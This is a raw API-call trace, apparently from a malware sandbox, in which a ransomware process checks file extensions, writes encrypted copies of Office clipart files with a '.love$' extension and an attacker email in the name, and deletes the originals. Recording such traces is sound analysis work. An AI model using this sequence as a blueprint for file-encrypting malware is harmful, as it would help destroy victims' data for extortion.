[0266.880] lstrlenW (lpString=".ppt") returned 4 [0266.880] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0266.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.880] lstrlenW (lpString=".zip") returned 4 [0266.880] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0266.881] lstrlenW (lpString=".rar") returned 4 [0266.881] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0266.881] lstrlenW (lpString=".bz2") returned 4 [0266.881] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0266.881] lstrlenW (lpString=".7z") returned 3 [0266.881] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0266.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.881] lstrlenW (lpString=".dbf") returned 4 [0266.881] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0266.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.881] lstrlenW (lpString=".1cd") returned 4 [0266.881] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0266.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.881] lstrlenW (lpString=".jpg") returned 4 [0266.882] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0266.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.882] lstrlenW (lpString=".doc") returned 4 [0266.882] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0266.882] lstrlenW (lpString=".docx") returned 5 [0266.882] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0266.882] lstrlenW (lpString=".pdf") returned 4 [0266.882] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0266.882] lstrlenW (lpString=".xls") returned 4 [0266.882] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0266.882] lstrlenW (lpString=".xlsx") returned 5 [0266.882] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0266.882] lstrlenW (lpString=".ppt") returned 4 [0266.882] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0266.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.882] lstrlenW (lpString=".zip") returned 4 [0266.882] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0266.882] lstrlenW (lpString=".rar") returned 4 [0266.882] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0266.882] lstrlenW (lpString=".bz2") returned 4 [0266.883] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0266.883] lstrlenW (lpString=".7z") returned 3 [0266.883] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0266.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.883] lstrlenW (lpString=".dbf") returned 4 [0266.883] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0266.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.883] lstrlenW (lpString=".1cd") returned 4 [0266.883] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0266.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099166.JPG") returned 68 [0266.883] lstrlenW (lpString=".jpg") returned 4 [0266.883] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0266.884] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0266.884] lstrlenW (lpString="J0099167.JPG") returned 12 [0266.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0266.886] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=43949) returned 1 [0266.886] CloseHandle (hObject=0x4ac) returned 1 [0266.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 0x220 [0266.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0266.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0266.887] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.887] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0267.199] GetLastError () returned 0x0 [0267.199] ReadFile (in: hFile=0x4ac, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xabad, lpOverlapped=0x0) returned 1 [0267.213] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xabb0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xabb0, lpOverlapped=0x0) returned 1 [0267.215] ReadFile (in: hFile=0x4ac, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0267.215] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0267.215] SetEndOfFile (hFile=0x3f4) returned 1 [0267.216] CloseHandle (hObject=0x3f4) returned 1 [0267.216] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.216] SetEndOfFile (hFile=0x4ac) returned 1 [0267.222] CloseHandle (hObject=0x4ac) returned 1 [0267.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0267.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099167.jpg")) returned 1 [0267.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.224] lstrlenW (lpString=".doc") returned 4 [0267.224] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0267.224] lstrlenW (lpString=".docx") returned 5 [0267.224] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0267.224] lstrlenW (lpString=".pdf") returned 4 [0267.224] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0267.224] lstrlenW (lpString=".xls") returned 4 [0267.224] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0267.224] lstrlenW (lpString=".xlsx") returned 5 [0267.225] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0267.225] lstrlenW (lpString=".ppt") returned 4 [0267.225] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0267.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.225] lstrlenW (lpString=".zip") returned 4 [0267.225] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0267.225] lstrlenW (lpString=".rar") returned 4 [0267.225] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0267.225] lstrlenW (lpString=".bz2") returned 4 [0267.225] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0267.225] lstrlenW (lpString=".7z") returned 3 [0267.225] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0267.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.225] lstrlenW (lpString=".dbf") returned 4 [0267.225] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0267.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.225] lstrlenW (lpString=".1cd") returned 4 [0267.225] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0267.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.225] lstrlenW (lpString=".jpg") returned 4 [0267.225] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0267.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.226] lstrlenW (lpString=".doc") returned 4 [0267.226] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0267.226] lstrlenW (lpString=".docx") returned 5 [0267.226] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0267.226] lstrlenW (lpString=".pdf") returned 4 [0267.226] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0267.226] lstrlenW (lpString=".xls") returned 4 [0267.226] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0267.226] lstrlenW (lpString=".xlsx") returned 5 [0267.226] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0267.226] lstrlenW (lpString=".ppt") returned 4 [0267.226] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0267.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.226] lstrlenW (lpString=".zip") returned 4 [0267.226] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0267.226] lstrlenW (lpString=".rar") returned 4 [0267.226] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0267.226] lstrlenW (lpString=".bz2") returned 4 [0267.227] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0267.227] lstrlenW (lpString=".7z") returned 3 [0267.227] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0267.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.227] lstrlenW (lpString=".dbf") returned 4 [0267.227] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0267.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.227] lstrlenW (lpString=".1cd") returned 4 [0267.227] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0267.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099167.JPG") returned 68 [0267.227] lstrlenW (lpString=".jpg") returned 4 [0267.227] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0267.227] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0267.227] lstrlenW (lpString="J0099170.WMF") returned 12 [0267.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0267.230] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=24292) returned 1 [0267.230] CloseHandle (hObject=0x4ac) returned 1 [0267.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 0x220 [0267.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0267.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0267.231] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.231] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0267.233] GetLastError () returned 0x0 [0267.234] ReadFile (in: hFile=0x4ac, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x5ee4, lpOverlapped=0x0) returned 1 [0267.287] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x5ef0, lpOverlapped=0x0) returned 1 [0267.289] ReadFile (in: hFile=0x4ac, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0267.290] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0267.290] SetEndOfFile (hFile=0x3f4) returned 1 [0267.290] CloseHandle (hObject=0x3f4) returned 1 [0267.290] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.290] SetEndOfFile (hFile=0x4ac) returned 1 [0267.575] CloseHandle (hObject=0x4ac) returned 1 [0267.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0268.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099170.wmf")) returned 1 [0268.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.947] lstrlenW (lpString=".doc") returned 4 [0268.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.947] lstrlenW (lpString=".docx") returned 5 [0268.947] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0268.948] lstrlenW (lpString=".pdf") returned 4 [0268.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.948] lstrlenW (lpString=".xls") returned 4 [0268.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.948] lstrlenW (lpString=".xlsx") returned 5 [0268.948] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0268.948] lstrlenW (lpString=".ppt") returned 4 [0268.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.948] lstrlenW (lpString=".zip") returned 4 [0268.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.948] lstrlenW (lpString=".rar") returned 4 [0268.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.949] lstrlenW (lpString=".bz2") returned 4 [0268.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.949] lstrlenW (lpString=".7z") returned 3 [0268.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.949] lstrlenW (lpString=".dbf") returned 4 [0268.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.949] lstrlenW (lpString=".1cd") returned 4 [0268.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.949] lstrlenW (lpString=".jpg") returned 4 [0268.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.949] lstrlenW (lpString=".doc") returned 4 [0268.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0268.949] lstrlenW (lpString=".docx") returned 5 [0268.950] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0268.950] lstrlenW (lpString=".pdf") returned 4 [0268.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0268.950] lstrlenW (lpString=".xls") returned 4 [0268.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0268.950] lstrlenW (lpString=".xlsx") returned 5 [0268.950] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0268.950] lstrlenW (lpString=".ppt") returned 4 [0268.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0268.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.950] lstrlenW (lpString=".zip") returned 4 [0268.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0268.950] lstrlenW (lpString=".rar") returned 4 [0268.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0268.950] lstrlenW (lpString=".bz2") returned 4 [0268.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0268.950] lstrlenW (lpString=".7z") returned 3 [0268.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0268.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.950] lstrlenW (lpString=".dbf") returned 4 [0268.951] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.951] lstrlenW (lpString=".1cd") returned 4 [0268.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099170.WMF") returned 68 [0268.951] lstrlenW (lpString=".jpg") returned 4 [0268.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.951] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0268.951] lstrlenW (lpString="J0099176.WMF") returned 12 [0268.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0268.958] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2488) returned 1 [0268.958] CloseHandle (hObject=0x4ac) returned 1 [0268.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 0x220 [0268.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0268.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0268.959] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.959] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0268.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0268.961] GetLastError () returned 0x0 [0268.961] ReadFile (in: hFile=0x4ac, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x9b8, lpOverlapped=0x0) returned 1 [0269.031] WriteFile (in: hFile=0x42c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x9c0, lpOverlapped=0x0) returned 1 [0269.032] ReadFile (in: hFile=0x4ac, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0269.032] WriteFile (in: hFile=0x42c, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0269.033] SetEndOfFile (hFile=0x42c) returned 1 [0269.033] CloseHandle (hObject=0x42c) returned 1 [0269.033] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0269.033] SetEndOfFile (hFile=0x4ac) returned 1 [0269.040] CloseHandle (hObject=0x4ac) returned 1 [0269.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099176.wmf")) returned 1 [0269.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.043] lstrlenW (lpString=".doc") returned 4 [0269.043] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.043] lstrlenW (lpString=".docx") returned 5 [0269.043] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0269.043] lstrlenW (lpString=".pdf") returned 4 [0269.043] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.043] lstrlenW (lpString=".xls") returned 4 [0269.043] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.043] lstrlenW (lpString=".xlsx") returned 5 [0269.043] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0269.043] lstrlenW (lpString=".ppt") returned 4 [0269.043] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099176.WMF") returned 68 [0269.043] lstrlenW (lpString=".zip") returned 4 [0269.043] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.043] lstrlenW (lpString=".rar") returned 4 [0269.043] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.043] lstrlenW (lpString=".bz2") returned 4 [0269.043] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 